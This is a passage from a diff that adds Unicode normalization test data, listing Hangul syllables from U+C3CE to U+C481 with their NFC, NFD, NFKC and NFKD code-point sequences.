+{ source: [0xC3CE], NFC: [0xC3CE], NFD: [0x110A, 0x1168, 0x11B9], NFKC: [0xC3CE], NFKD: [0x110A, 0x1168, 0x11B9] },
+{ source: [0xC3CF], NFC: [0xC3CF], NFD: [0x110A, 0x1168, 0x11BA], NFKC: [0xC3CF], NFKD: [0x110A, 0x1168, 0x11BA] },
+{ source: [0xC3D0], NFC: [0xC3D0], NFD: [0x110A, 0x1168, 0x11BB], NFKC: [0xC3D0], NFKD: [0x110A, 0x1168, 0x11BB] },
+{ source: [0xC3D1], NFC: [0xC3D1], NFD: [0x110A, 0x1168, 0x11BC], NFKC: [0xC3D1], NFKD: [0x110A, 0x1168, 0x11BC] },
+{ source: [0xC3D2], NFC: [0xC3D2], NFD: [0x110A, 0x1168, 0x11BD], NFKC: [0xC3D2], NFKD: [0x110A, 0x1168, 0x11BD] },
+{ source: [0xC3D3], NFC: [0xC3D3], NFD: [0x110A, 0x1168, 0x11BE], NFKC: [0xC3D3], NFKD: [0x110A, 0x1168, 0x11BE] },
+{ source: [0xC3D4], NFC: [0xC3D4], NFD: [0x110A, 0x1168, 0x11BF], NFKC: [0xC3D4], NFKD: [0x110A, 0x1168, 0x11BF] },
+{ source: [0xC3D5], NFC: [0xC3D5], NFD: [0x110A, 0x1168, 0x11C0], NFKC: [0xC3D5], NFKD: [0x110A, 0x1168, 0x11C0] },
+{ source: [0xC3D6], NFC: [0xC3D6], NFD: [0x110A, 0x1168, 0x11C1], NFKC: [0xC3D6], NFKD: [0x110A, 0x1168, 0x11C1] },
+{ source: [0xC3D7], NFC: [0xC3D7], NFD: [0x110A, 0x1168, 0x11C2], NFKC: [0xC3D7], NFKD: [0x110A, 0x1168, 0x11C2] },
+{ source: [0xC3D8], NFC: [0xC3D8], NFD: [0x110A, 0x1169], NFKC: [0xC3D8], NFKD: [0x110A, 0x1169] },
+{ source: [0xC3D9], NFC: [0xC3D9], NFD: [0x110A, 0x1169, 0x11A8], NFKC: [0xC3D9], NFKD: [0x110A, 0x1169, 0x11A8] },
+{ source: [0xC3DA], NFC: [0xC3DA], NFD: [0x110A, 0x1169, 0x11A9], NFKC: [0xC3DA], NFKD: [0x110A, 0x1169, 0x11A9] },
+{ source: [0xC3DB], NFC: [0xC3DB], NFD: [0x110A, 0x1169, 0x11AA], NFKC: [0xC3DB], NFKD: [0x110A, 0x1169, 0x11AA] },
+{ source: [0xC3DC], NFC: [0xC3DC], NFD: [0x110A, 0x1169, 0x11AB], NFKC: [0xC3DC], NFKD: [0x110A, 0x1169, 0x11AB] },
+{ source: [0xC3DD], NFC: [0xC3DD], NFD: [0x110A, 0x1169, 0x11AC], NFKC: [0xC3DD], NFKD: [0x110A, 0x1169, 0x11AC] },
+{ source: [0xC3DE], NFC: [0xC3DE], NFD: [0x110A, 0x1169, 0x11AD], NFKC: [0xC3DE], NFKD: [0x110A, 0x1169, 0x11AD] },
+{ source: [0xC3DF], NFC: [0xC3DF], NFD: [0x110A, 0x1169, 0x11AE], NFKC: [0xC3DF], NFKD: [0x110A, 0x1169, 0x11AE] },
+{ source: [0xC3E0], NFC: [0xC3E0], NFD: [0x110A, 0x1169, 0x11AF], NFKC: [0xC3E0], NFKD: [0x110A, 0x1169, 0x11AF] },
+{ source: [0xC3E1], NFC: [0xC3E1], NFD: [0x110A, 0x1169, 0x11B0], NFKC: [0xC3E1], NFKD: [0x110A, 0x1169, 0x11B0] },
+{ source: [0xC3E2], NFC: [0xC3E2], NFD: [0x110A, 0x1169, 0x11B1], NFKC: [0xC3E2], NFKD: [0x110A, 0x1169, 0x11B1] },
+{ source: [0xC3E3], NFC: [0xC3E3], NFD: [0x110A, 0x1169, 0x11B2], NFKC: [0xC3E3], NFKD: [0x110A, 0x1169, 0x11B2] },
+{ source: [0xC3E4], NFC: [0xC3E4], NFD: [0x110A, 0x1169, 0x11B3], NFKC: [0xC3E4], NFKD: [0x110A, 0x1169, 0x11B3] },
+{ source: [0xC3E5], NFC: [0xC3E5], NFD: [0x110A, 0x1169, 0x11B4], NFKC: [0xC3E5], NFKD: [0x110A, 0x1169, 0x11B4] },
+{ source: [0xC3E6], NFC: [0xC3E6], NFD: [0x110A, 0x1169, 0x11B5], NFKC: [0xC3E6], NFKD: [0x110A, 0x1169, 0x11B5] },
+{ source: [0xC3E7], NFC: [0xC3E7], NFD: [0x110A, 0x1169, 0x11B6], NFKC: [0xC3E7], NFKD: [0x110A, 0x1169, 0x11B6] },
+{ source: [0xC3E8], NFC: [0xC3E8], NFD: [0x110A, 0x1169, 0x11B7], NFKC: [0xC3E8], NFKD: [0x110A, 0x1169, 0x11B7] },
+{ source: [0xC3E9], NFC: [0xC3E9], NFD: [0x110A, 0x1169, 0x11B8], NFKC: [0xC3E9], NFKD: [0x110A, 0x1169, 0x11B8] },
+{ source: [0xC3EA], NFC: [0xC3EA], NFD: [0x110A, 0x1169, 0x11B9], NFKC: [0xC3EA], NFKD: [0x110A, 0x1169, 0x11B9] },
+{ source: [0xC3EB], NFC: [0xC3EB], NFD: [0x110A, 0x1169, 0x11BA], NFKC: [0xC3EB], NFKD: [0x110A, 0x1169, 0x11BA] },
+{ source: [0xC3EC], NFC: [0xC3EC], NFD: [0x110A, 0x1169, 0x11BB], NFKC: [0xC3EC], NFKD: [0x110A, 0x1169, 0x11BB] },
+{ source: [0xC3ED], NFC: [0xC3ED], NFD: [0x110A, 0x1169, 0x11BC], NFKC: [0xC3ED], NFKD: [0x110A, 0x1169, 0x11BC] },
+{ source: [0xC3EE], NFC: [0xC3EE], NFD: [0x110A, 0x1169, 0x11BD], NFKC: [0xC3EE], NFKD: [0x110A, 0x1169, 0x11BD] },
+{ source: [0xC3EF], NFC: [0xC3EF], NFD: [0x110A, 0x1169, 0x11BE], NFKC: [0xC3EF], NFKD: [0x110A, 0x1169, 0x11BE] },
+{ source: [0xC3F0], NFC: [0xC3F0], NFD: [0x110A, 0x1169, 0x11BF], NFKC: [0xC3F0], NFKD: [0x110A, 0x1169, 0x11BF] },
+{ source: [0xC3F1], NFC: [0xC3F1], NFD: [0x110A, 0x1169, 0x11C0], NFKC: [0xC3F1], NFKD: [0x110A, 0x1169, 0x11C0] },
+{ source: [0xC3F2], NFC: [0xC3F2], NFD: [0x110A, 0x1169, 0x11C1], NFKC: [0xC3F2], NFKD: [0x110A, 0x1169, 0x11C1] },
+{ source: [0xC3F3], NFC: [0xC3F3], NFD: [0x110A, 0x1169, 0x11C2], NFKC: [0xC3F3], NFKD: [0x110A, 0x1169, 0x11C2] },
+{ source: [0xC3F4], NFC: [0xC3F4], NFD: [0x110A, 0x116A], NFKC: [0xC3F4], NFKD: [0x110A, 0x116A] },
+{ source: [0xC3F5], NFC: [0xC3F5], NFD: [0x110A, 0x116A, 0x11A8], NFKC: [0xC3F5], NFKD: [0x110A, 0x116A, 0x11A8] },
+{ source: [0xC3F6], NFC: [0xC3F6], NFD: [0x110A, 0x116A, 0x11A9], NFKC: [0xC3F6], NFKD: [0x110A, 0x116A, 0x11A9] },
+{ source: [0xC3F7], NFC: [0xC3F7], NFD: [0x110A, 0x116A, 0x11AA], NFKC: [0xC3F7], NFKD: [0x110A, 0x116A, 0x11AA] },
+{ source: [0xC3F8], NFC: [0xC3F8], NFD: [0x110A, 0x116A, 0x11AB], NFKC: [0xC3F8], NFKD: [0x110A, 0x116A, 0x11AB] },
+{ source: [0xC3F9], NFC: [0xC3F9], NFD: [0x110A, 0x116A, 0x11AC], NFKC: [0xC3F9], NFKD: [0x110A, 0x116A, 0x11AC] },
+{ source: [0xC3FA], NFC: [0xC3FA], NFD: [0x110A, 0x116A, 0x11AD], NFKC: [0xC3FA], NFKD: [0x110A, 0x116A, 0x11AD] },
+{ source: [0xC3FB], NFC: [0xC3FB], NFD: [0x110A, 0x116A, 0x11AE], NFKC: [0xC3FB], NFKD: [0x110A, 0x116A, 0x11AE] },
+{ source: [0xC3FC], NFC: [0xC3FC], NFD: [0x110A, 0x116A, 0x11AF], NFKC: [0xC3FC], NFKD: [0x110A, 0x116A, 0x11AF] },
+{ source: [0xC3FD], NFC: [0xC3FD], NFD: [0x110A, 0x116A, 0x11B0], NFKC: [0xC3FD], NFKD: [0x110A, 0x116A, 0x11B0] },
+{ source: [0xC3FE], NFC: [0xC3FE], NFD: [0x110A, 0x116A, 0x11B1], NFKC: [0xC3FE], NFKD: [0x110A, 0x116A, 0x11B1] },
+{ source: [0xC3FF], NFC: [0xC3FF], NFD: [0x110A, 0x116A, 0x11B2], NFKC: [0xC3FF], NFKD: [0x110A, 0x116A, 0x11B2] },
+{ source: [0xC400], NFC: [0xC400], NFD: [0x110A, 0x116A, 0x11B3], NFKC: [0xC400], NFKD: [0x110A, 0x116A, 0x11B3] },
+{ source: [0xC401], NFC: [0xC401], NFD: [0x110A, 0x116A, 0x11B4], NFKC: [0xC401], NFKD: [0x110A, 0x116A, 0x11B4] },
+{ source: [0xC402], NFC: [0xC402], NFD: [0x110A, 0x116A, 0x11B5], NFKC: [0xC402], NFKD: [0x110A, 0x116A, 0x11B5] },
+{ source: [0xC403], NFC: [0xC403], NFD: [0x110A, 0x116A, 0x11B6], NFKC: [0xC403], NFKD: [0x110A, 0x116A, 0x11B6] },
+{ source: [0xC404], NFC: [0xC404], NFD: [0x110A, 0x116A, 0x11B7], NFKC: [0xC404], NFKD: [0x110A, 0x116A, 0x11B7] },
+{ source: [0xC405], NFC: [0xC405], NFD: [0x110A, 0x116A, 0x11B8], NFKC: [0xC405], NFKD: [0x110A, 0x116A, 0x11B8] },
+{ source: [0xC406], NFC: [0xC406], NFD: [0x110A, 0x116A, 0x11B9], NFKC: [0xC406], NFKD: [0x110A, 0x116A, 0x11B9] },
+{ source: [0xC407], NFC: [0xC407], NFD: [0x110A, 0x116A, 0x11BA], NFKC: [0xC407], NFKD: [0x110A, 0x116A, 0x11BA] },
+{ source: [0xC408], NFC: [0xC408], NFD: [0x110A, 0x116A, 0x11BB], NFKC: [0xC408], NFKD: [0x110A, 0x116A, 0x11BB] },
+{ source: [0xC409], NFC: [0xC409], NFD: [0x110A, 0x116A, 0x11BC], NFKC: [0xC409], NFKD: [0x110A, 0x116A, 0x11BC] },
+{ source: [0xC40A], NFC: [0xC40A], NFD: [0x110A, 0x116A, 0x11BD], NFKC: [0xC40A], NFKD: [0x110A, 0x116A, 0x11BD] },
+{ source: [0xC40B], NFC: [0xC40B], NFD: [0x110A, 0x116A, 0x11BE], NFKC: [0xC40B], NFKD: [0x110A, 0x116A, 0x11BE] },
+{ source: [0xC40C], NFC: [0xC40C], NFD: [0x110A, 0x116A, 0x11BF], NFKC: [0xC40C], NFKD: [0x110A, 0x116A, 0x11BF] },
+{ source: [0xC40D], NFC: [0xC40D], NFD: [0x110A, 0x116A, 0x11C0], NFKC: [0xC40D], NFKD: [0x110A, 0x116A, 0x11C0] },
+{ source: [0xC40E], NFC: [0xC40E], NFD: [0x110A, 0x116A, 0x11C1], NFKC: [0xC40E], NFKD: [0x110A, 0x116A, 0x11C1] },
+{ source: [0xC40F], NFC: [0xC40F], NFD: [0x110A, 0x116A, 0x11C2], NFKC: [0xC40F], NFKD: [0x110A, 0x116A, 0x11C2] },
+{ source: [0xC410], NFC: [0xC410], NFD: [0x110A, 0x116B], NFKC: [0xC410], NFKD: [0x110A, 0x116B] },
+{ source: [0xC411], NFC: [0xC411], NFD: [0x110A, 0x116B, 0x11A8], NFKC: [0xC411], NFKD: [0x110A, 0x116B, 0x11A8] },
+{ source: [0xC412], NFC: [0xC412], NFD: [0x110A, 0x116B, 0x11A9], NFKC: [0xC412], NFKD: [0x110A, 0x116B, 0x11A9] },
+{ source: [0xC413], NFC: [0xC413], NFD: [0x110A, 0x116B, 0x11AA], NFKC: [0xC413], NFKD: [0x110A, 0x116B, 0x11AA] },
+{ source: [0xC414], NFC: [0xC414], NFD: [0x110A, 0x116B, 0x11AB], NFKC: [0xC414], NFKD: [0x110A, 0x116B, 0x11AB] },
+{ source: [0xC415], NFC: [0xC415], NFD: [0x110A, 0x116B, 0x11AC], NFKC: [0xC415], NFKD: [0x110A, 0x116B, 0x11AC] },
+{ source: [0xC416], NFC: [0xC416], NFD: [0x110A, 0x116B, 0x11AD], NFKC: [0xC416], NFKD: [0x110A, 0x116B, 0x11AD] },
+{ source: [0xC417], NFC: [0xC417], NFD: [0x110A, 0x116B, 0x11AE], NFKC: [0xC417], NFKD: [0x110A, 0x116B, 0x11AE] },
+{ source: [0xC418], NFC: [0xC418], NFD: [0x110A, 0x116B, 0x11AF], NFKC: [0xC418], NFKD: [0x110A, 0x116B, 0x11AF] },
+{ source: [0xC419], NFC: [0xC419], NFD: [0x110A, 0x116B, 0x11B0], NFKC: [0xC419], NFKD: [0x110A, 0x116B, 0x11B0] },
+{ source: [0xC41A], NFC: [0xC41A], NFD: [0x110A, 0x116B, 0x11B1], NFKC: [0xC41A], NFKD: [0x110A, 0x116B, 0x11B1] },
+{ source: [0xC41B], NFC: [0xC41B], NFD: [0x110A, 0x116B, 0x11B2], NFKC: [0xC41B], NFKD: [0x110A, 0x116B, 0x11B2] },
+{ source: [0xC41C], NFC: [0xC41C], NFD: [0x110A, 0x116B, 0x11B3], NFKC: [0xC41C], NFKD: [0x110A, 0x116B, 0x11B3] },
+{ source: [0xC41D], NFC: [0xC41D], NFD: [0x110A, 0x116B, 0x11B4], NFKC: [0xC41D], NFKD: [0x110A, 0x116B, 0x11B4] },
+{ source: [0xC41E], NFC: [0xC41E], NFD: [0x110A, 0x116B, 0x11B5], NFKC: [0xC41E], NFKD: [0x110A, 0x116B, 0x11B5] },
+{ source: [0xC41F], NFC: [0xC41F], NFD: [0x110A, 0x116B, 0x11B6], NFKC: [0xC41F], NFKD: [0x110A, 0x116B, 0x11B6] },
+{ source: [0xC420], NFC: [0xC420], NFD: [0x110A, 0x116B, 0x11B7], NFKC: [0xC420], NFKD: [0x110A, 0x116B, 0x11B7] },
+{ source: [0xC421], NFC: [0xC421], NFD: [0x110A, 0x116B, 0x11B8], NFKC: [0xC421], NFKD: [0x110A, 0x116B, 0x11B8] },
+{ source: [0xC422], NFC: [0xC422], NFD: [0x110A, 0x116B, 0x11B9], NFKC: [0xC422], NFKD: [0x110A, 0x116B, 0x11B9] },
+{ source: [0xC423], NFC: [0xC423], NFD: [0x110A, 0x116B, 0x11BA], NFKC: [0xC423], NFKD: [0x110A, 0x116B, 0x11BA] },
+{ source: [0xC424], NFC: [0xC424], NFD: [0x110A, 0x116B, 0x11BB], NFKC: [0xC424], NFKD: [0x110A, 0x116B, 0x11BB] },
+{ source: [0xC425], NFC: [0xC425], NFD: [0x110A, 0x116B, 0x11BC], NFKC: [0xC425], NFKD: [0x110A, 0x116B, 0x11BC] },
+{ source: [0xC426], NFC: [0xC426], NFD: [0x110A, 0x116B, 0x11BD], NFKC: [0xC426], NFKD: [0x110A, 0x116B, 0x11BD] },
+{ source: [0xC427], NFC: [0xC427], NFD: [0x110A, 0x116B, 0x11BE], NFKC: [0xC427], NFKD: [0x110A, 0x116B, 0x11BE] },
+{ source: [0xC428], NFC: [0xC428], NFD: [0x110A, 0x116B, 0x11BF], NFKC: [0xC428], NFKD: [0x110A, 0x116B, 0x11BF] },
+{ source: [0xC429], NFC: [0xC429], NFD: [0x110A, 0x116B, 0x11C0], NFKC: [0xC429], NFKD: [0x110A, 0x116B, 0x11C0] },
+{ source: [0xC42A], NFC: [0xC42A], NFD: [0x110A, 0x116B, 0x11C1], NFKC: [0xC42A], NFKD: [0x110A, 0x116B, 0x11C1] },
+{ source: [0xC42B], NFC: [0xC42B], NFD: [0x110A, 0x116B, 0x11C2], NFKC: [0xC42B], NFKD: [0x110A, 0x116B, 0x11C2] },
+{ source: [0xC42C], NFC: [0xC42C], NFD: [0x110A, 0x116C], NFKC: [0xC42C], NFKD: [0x110A, 0x116C] },
+{ source: [0xC42D], NFC: [0xC42D], NFD: [0x110A, 0x116C, 0x11A8], NFKC: [0xC42D], NFKD: [0x110A, 0x116C, 0x11A8] },
+{ source: [0xC42E], NFC: [0xC42E], NFD: [0x110A, 0x116C, 0x11A9], NFKC: [0xC42E], NFKD: [0x110A, 0x116C, 0x11A9] },
+{ source: [0xC42F], NFC: [0xC42F], NFD: [0x110A, 0x116C, 0x11AA], NFKC: [0xC42F], NFKD: [0x110A, 0x116C, 0x11AA] },
+{ source: [0xC430], NFC: [0xC430], NFD: [0x110A, 0x116C, 0x11AB], NFKC: [0xC430], NFKD: [0x110A, 0x116C, 0x11AB] },
+{ source: [0xC431], NFC: [0xC431], NFD: [0x110A, 0x116C, 0x11AC], NFKC: [0xC431], NFKD: [0x110A, 0x116C, 0x11AC] },
+{ source: [0xC432], NFC: [0xC432], NFD: [0x110A, 0x116C, 0x11AD], NFKC: [0xC432], NFKD: [0x110A, 0x116C, 0x11AD] },
+{ source: [0xC433], NFC: [0xC433], NFD: [0x110A, 0x116C, 0x11AE], NFKC: [0xC433], NFKD: [0x110A, 0x116C, 0x11AE] },
+{ source: [0xC434], NFC: [0xC434], NFD: [0x110A, 0x116C, 0x11AF], NFKC: [0xC434], NFKD: [0x110A, 0x116C, 0x11AF] },
+{ source: [0xC435], NFC: [0xC435], NFD: [0x110A, 0x116C, 0x11B0], NFKC: [0xC435], NFKD: [0x110A, 0x116C, 0x11B0] },
+{ source: [0xC436], NFC: [0xC436], NFD: [0x110A, 0x116C, 0x11B1], NFKC: [0xC436], NFKD: [0x110A, 0x116C, 0x11B1] },
+{ source: [0xC437], NFC: [0xC437], NFD: [0x110A, 0x116C, 0x11B2], NFKC: [0xC437], NFKD: [0x110A, 0x116C, 0x11B2] },
+{ source: [0xC438], NFC: [0xC438], NFD: [0x110A, 0x116C, 0x11B3], NFKC: [0xC438], NFKD: [0x110A, 0x116C, 0x11B3] },
+{ source: [0xC439], NFC: [0xC439], NFD: [0x110A, 0x116C, 0x11B4], NFKC: [0xC439], NFKD: [0x110A, 0x116C, 0x11B4] },
+{ source: [0xC43A], NFC: [0xC43A], NFD: [0x110A, 0x116C, 0x11B5], NFKC: [0xC43A], NFKD: [0x110A, 0x116C, 0x11B5] },
+{ source: [0xC43B], NFC: [0xC43B], NFD: [0x110A, 0x116C, 0x11B6], NFKC: [0xC43B], NFKD: [0x110A, 0x116C, 0x11B6] },
+{ source: [0xC43C], NFC: [0xC43C], NFD: [0x110A, 0x116C, 0x11B7], NFKC: [0xC43C], NFKD: [0x110A, 0x116C, 0x11B7] },
+{ source: [0xC43D], NFC: [0xC43D], NFD: [0x110A, 0x116C, 0x11B8], NFKC: [0xC43D], NFKD: [0x110A, 0x116C, 0x11B8] },
+{ source: [0xC43E], NFC: [0xC43E], NFD: [0x110A, 0x116C, 0x11B9], NFKC: [0xC43E], NFKD: [0x110A, 0x116C, 0x11B9] },
+{ source: [0xC43F], NFC: [0xC43F], NFD: [0x110A, 0x116C, 0x11BA], NFKC: [0xC43F], NFKD: [0x110A, 0x116C, 0x11BA] },
+{ source: [0xC440], NFC: [0xC440], NFD: [0x110A, 0x116C, 0x11BB], NFKC: [0xC440], NFKD: [0x110A, 0x116C, 0x11BB] },
+{ source: [0xC441], NFC: [0xC441], NFD: [0x110A, 0x116C, 0x11BC], NFKC: [0xC441], NFKD: [0x110A, 0x116C, 0x11BC] },
+{ source: [0xC442], NFC: [0xC442], NFD: [0x110A, 0x116C, 0x11BD], NFKC: [0xC442], NFKD: [0x110A, 0x116C, 0x11BD] },
+{ source: [0xC443], NFC: [0xC443], NFD: [0x110A, 0x116C, 0x11BE], NFKC: [0xC443], NFKD: [0x110A, 0x116C, 0x11BE] },
+{ source: [0xC444], NFC: [0xC444], NFD: [0x110A, 0x116C, 0x11BF], NFKC: [0xC444], NFKD: [0x110A, 0x116C, 0x11BF] },
+{ source: [0xC445], NFC: [0xC445], NFD: [0x110A, 0x116C, 0x11C0], NFKC: [0xC445], NFKD: [0x110A, 0x116C, 0x11C0] },
+{ source: [0xC446], NFC: [0xC446], NFD: [0x110A, 0x116C, 0x11C1], NFKC: [0xC446], NFKD: [0x110A, 0x116C, 0x11C1] },
+{ source: [0xC447], NFC: [0xC447], NFD: [0x110A, 0x116C, 0x11C2], NFKC: [0xC447], NFKD: [0x110A, 0x116C, 0x11C2] },
+{ source: [0xC448], NFC: [0xC448], NFD: [0x110A, 0x116D], NFKC: [0xC448], NFKD: [0x110A, 0x116D] },
+{ source: [0xC449], NFC: [0xC449], NFD: [0x110A, 0x116D, 0x11A8], NFKC: [0xC449], NFKD: [0x110A, 0x116D, 0x11A8] },
+{ source: [0xC44A], NFC: [0xC44A], NFD: [0x110A, 0x116D, 0x11A9], NFKC: [0xC44A], NFKD: [0x110A, 0x116D, 0x11A9] },
+{ source: [0xC44B], NFC: [0xC44B], NFD: [0x110A, 0x116D, 0x11AA], NFKC: [0xC44B], NFKD: [0x110A, 0x116D, 0x11AA] },
+{ source: [0xC44C], NFC: [0xC44C], NFD: [0x110A, 0x116D, 0x11AB], NFKC: [0xC44C], NFKD: [0x110A, 0x116D, 0x11AB] },
+{ source: [0xC44D], NFC: [0xC44D], NFD: [0x110A, 0x116D, 0x11AC], NFKC: [0xC44D], NFKD: [0x110A, 0x116D, 0x11AC] },
+{ source: [0xC44E], NFC: [0xC44E], NFD: [0x110A, 0x116D, 0x11AD], NFKC: [0xC44E], NFKD: [0x110A, 0x116D, 0x11AD] },
+{ source: [0xC44F], NFC: [0xC44F], NFD: [0x110A, 0x116D, 0x11AE], NFKC: [0xC44F], NFKD: [0x110A, 0x116D, 0x11AE] },
+{ source: [0xC450], NFC: [0xC450], NFD: [0x110A, 0x116D, 0x11AF], NFKC: [0xC450], NFKD: [0x110A, 0x116D, 0x11AF] },
+{ source: [0xC451], NFC: [0xC451], NFD: [0x110A, 0x116D, 0x11B0], NFKC: [0xC451], NFKD: [0x110A, 0x116D, 0x11B0] },
+{ source: [0xC452], NFC: [0xC452], NFD: [0x110A, 0x116D, 0x11B1], NFKC: [0xC452], NFKD: [0x110A, 0x116D, 0x11B1] },
+{ source: [0xC453], NFC: [0xC453], NFD: [0x110A, 0x116D, 0x11B2], NFKC: [0xC453], NFKD: [0x110A, 0x116D, 0x11B2] },
+{ source: [0xC454], NFC: [0xC454], NFD: [0x110A, 0x116D, 0x11B3], NFKC: [0xC454], NFKD: [0x110A, 0x116D, 0x11B3] },
+{ source: [0xC455], NFC: [0xC455], NFD: [0x110A, 0x116D, 0x11B4], NFKC: [0xC455], NFKD: [0x110A, 0x116D, 0x11B4] },
+{ source: [0xC456], NFC: [0xC456], NFD: [0x110A, 0x116D, 0x11B5], NFKC: [0xC456], NFKD: [0x110A, 0x116D, 0x11B5] },
+{ source: [0xC457], NFC: [0xC457], NFD: [0x110A, 0x116D, 0x11B6], NFKC: [0xC457], NFKD: [0x110A, 0x116D, 0x11B6] },
+{ source: [0xC458], NFC: [0xC458], NFD: [0x110A, 0x116D, 0x11B7], NFKC: [0xC458], NFKD: [0x110A, 0x116D, 0x11B7] },
+{ source: [0xC459], NFC: [0xC459], NFD: [0x110A, 0x116D, 0x11B8], NFKC: [0xC459], NFKD: [0x110A, 0x116D, 0x11B8] },
+{ source: [0xC45A], NFC: [0xC45A], NFD: [0x110A, 0x116D, 0x11B9], NFKC: [0xC45A], NFKD: [0x110A, 0x116D, 0x11B9] },
+{ source: [0xC45B], NFC: [0xC45B], NFD: [0x110A, 0x116D, 0x11BA], NFKC: [0xC45B], NFKD: [0x110A, 0x116D, 0x11BA] },
+{ source: [0xC45C], NFC: [0xC45C], NFD: [0x110A, 0x116D, 0x11BB], NFKC: [0xC45C], NFKD: [0x110A, 0x116D, 0x11BB] },
+{ source: [0xC45D], NFC: [0xC45D], NFD: [0x110A, 0x116D, 0x11BC], NFKC: [0xC45D], NFKD: [0x110A, 0x116D, 0x11BC] },
+{ source: [0xC45E], NFC: [0xC45E], NFD: [0x110A, 0x116D, 0x11BD], NFKC: [0xC45E], NFKD: [0x110A, 0x116D, 0x11BD] },
+{ source: [0xC45F], NFC: [0xC45F], NFD: [0x110A, 0x116D, 0x11BE], NFKC: [0xC45F], NFKD: [0x110A, 0x116D, 0x11BE] },
+{ source: [0xC460], NFC: [0xC460], NFD: [0x110A, 0x116D, 0x11BF], NFKC: [0xC460], NFKD: [0x110A, 0x116D, 0x11BF] },
+{ source: [0xC461], NFC: [0xC461], NFD: [0x110A, 0x116D, 0x11C0], NFKC: [0xC461], NFKD: [0x110A, 0x116D, 0x11C0] },
+{ source: [0xC462], NFC: [0xC462], NFD: [0x110A, 0x116D, 0x11C1], NFKC: [0xC462], NFKD: [0x110A, 0x116D, 0x11C1] },
+{ source: [0xC463], NFC: [0xC463], NFD: [0x110A, 0x116D, 0x11C2], NFKC: [0xC463], NFKD: [0x110A, 0x116D, 0x11C2] },
+{ source: [0xC464], NFC: [0xC464], NFD: [0x110A, 0x116E], NFKC: [0xC464], NFKD: [0x110A, 0x116E] },
+{ source: [0xC465], NFC: [0xC465], NFD: [0x110A, 0x116E, 0x11A8], NFKC: [0xC465], NFKD: [0x110A, 0x116E, 0x11A8] },
+{ source: [0xC466], NFC: [0xC466], NFD: [0x110A, 0x116E, 0x11A9], NFKC: [0xC466], NFKD: [0x110A, 0x116E, 0x11A9] },
+{ source: [0xC467], NFC: [0xC467], NFD: [0x110A, 0x116E, 0x11AA], NFKC: [0xC467], NFKD: [0x110A, 0x116E, 0x11AA] },
+{ source: [0xC468], NFC: [0xC468], NFD: [0x110A, 0x116E, 0x11AB], NFKC: [0xC468], NFKD: [0x110A, 0x116E, 0x11AB] },
+{ source: [0xC469], NFC: [0xC469], NFD: [0x110A, 0x116E, 0x11AC], NFKC: [0xC469], NFKD: [0x110A, 0x116E, 0x11AC] },
+{ source: [0xC46A], NFC: [0xC46A], NFD: [0x110A, 0x116E, 0x11AD], NFKC: [0xC46A], NFKD: [0x110A, 0x116E, 0x11AD] },
+{ source: [0xC46B], NFC: [0xC46B], NFD: [0x110A, 0x116E, 0x11AE], NFKC: [0xC46B], NFKD: [0x110A, 0x116E, 0x11AE] },
+{ source: [0xC46C], NFC: [0xC46C], NFD: [0x110A, 0x116E, 0x11AF], NFKC: [0xC46C], NFKD: [0x110A, 0x116E, 0x11AF] },
+{ source: [0xC46D], NFC: [0xC46D], NFD: [0x110A, 0x116E, 0x11B0], NFKC: [0xC46D], NFKD: [0x110A, 0x116E, 0x11B0] },
+{ source: [0xC46E], NFC: [0xC46E], NFD: [0x110A, 0x116E, 0x11B1], NFKC: [0xC46E], NFKD: [0x110A, 0x116E, 0x11B1] },
+{ source: [0xC46F], NFC: [0xC46F], NFD: [0x110A, 0x116E, 0x11B2], NFKC: [0xC46F], NFKD: [0x110A, 0x116E, 0x11B2] },
+{ source: [0xC470], NFC: [0xC470], NFD: [0x110A, 0x116E, 0x11B3], NFKC: [0xC470], NFKD: [0x110A, 0x116E, 0x11B3] },
+{ source: [0xC471], NFC: [0xC471], NFD: [0x110A, 0x116E, 0x11B4], NFKC: [0xC471], NFKD: [0x110A, 0x116E, 0x11B4] },
+{ source: [0xC472], NFC: [0xC472], NFD: [0x110A, 0x116E, 0x11B5], NFKC: [0xC472], NFKD: [0x110A, 0x116E, 0x11B5] },
+{ source: [0xC473], NFC: [0xC473], NFD: [0x110A, 0x116E, 0x11B6], NFKC: [0xC473], NFKD: [0x110A, 0x116E, 0x11B6] },
+{ source: [0xC474], NFC: [0xC474], NFD: [0x110A, 0x116E, 0x11B7], NFKC: [0xC474], NFKD: [0x110A, 0x116E, 0x11B7] },
+{ source: [0xC475], NFC: [0xC475], NFD: [0x110A, 0x116E, 0x11B8], NFKC: [0xC475], NFKD: [0x110A, 0x116E, 0x11B8] },
+{ source: [0xC476], NFC: [0xC476], NFD: [0x110A, 0x116E, 0x11B9], NFKC: [0xC476], NFKD: [0x110A, 0x116E, 0x11B9] },
+{ source: [0xC477], NFC: [0xC477], NFD: [0x110A, 0x116E, 0x11BA], NFKC: [0xC477], NFKD: [0x110A, 0x116E, 0x11BA] },
+{ source: [0xC478], NFC: [0xC478], NFD: [0x110A, 0x116E, 0x11BB], NFKC: [0xC478], NFKD: [0x110A, 0x116E, 0x11BB] },
+{ source: [0xC479], NFC: [0xC479], NFD: [0x110A, 0x116E, 0x11BC], NFKC: [0xC479], NFKD: [0x110A, 0x116E, 0x11BC] },
+{ source: [0xC47A], NFC: [0xC47A], NFD: [0x110A, 0x116E, 0x11BD], NFKC: [0xC47A], NFKD: [0x110A, 0x116E, 0x11BD] },
+{ source: [0xC47B], NFC: [0xC47B], NFD: [0x110A, 0x116E, 0x11BE], NFKC: [0xC47B], NFKD: [0x110A, 0x116E, 0x11BE] },
+{ source: [0xC47C], NFC: [0xC47C], NFD: [0x110A, 0x116E, 0x11BF], NFKC: [0xC47C], NFKD: [0x110A, 0x116E, 0x11BF] },
+{ source: [0xC47D], NFC: [0xC47D], NFD: [0x110A, 0x116E, 0x11C0], NFKC: [0xC47D], NFKD: [0x110A, 0x116E, 0x11C0] },
+{ source: [0xC47E], NFC: [0xC47E], NFD: [0x110A, 0x116E, 0x11C1], NFKC: [0xC47E], NFKD: [0x110A, 0x116E, 0x11C1] },
+{ source: [0xC47F], NFC: [0xC47F], NFD: [0x110A, 0x116E, 0x11C2], NFKC: [0xC47F], NFKD: [0x110A, 0x116E, 0x11C2] },
+{ source: [0xC480], NFC: [0xC480], NFD: [0x110A, 0x116F], NFKC: [0xC480], NFKD: [0x110A, 0x116F] },
+{ source: [0xC481], NFC: [0xC481], NFD: [0x110A, 0x116F, 0x11A8], NFKC: [0xC481], NFKD: [0x110A, 0x116F, 0x11A8] },
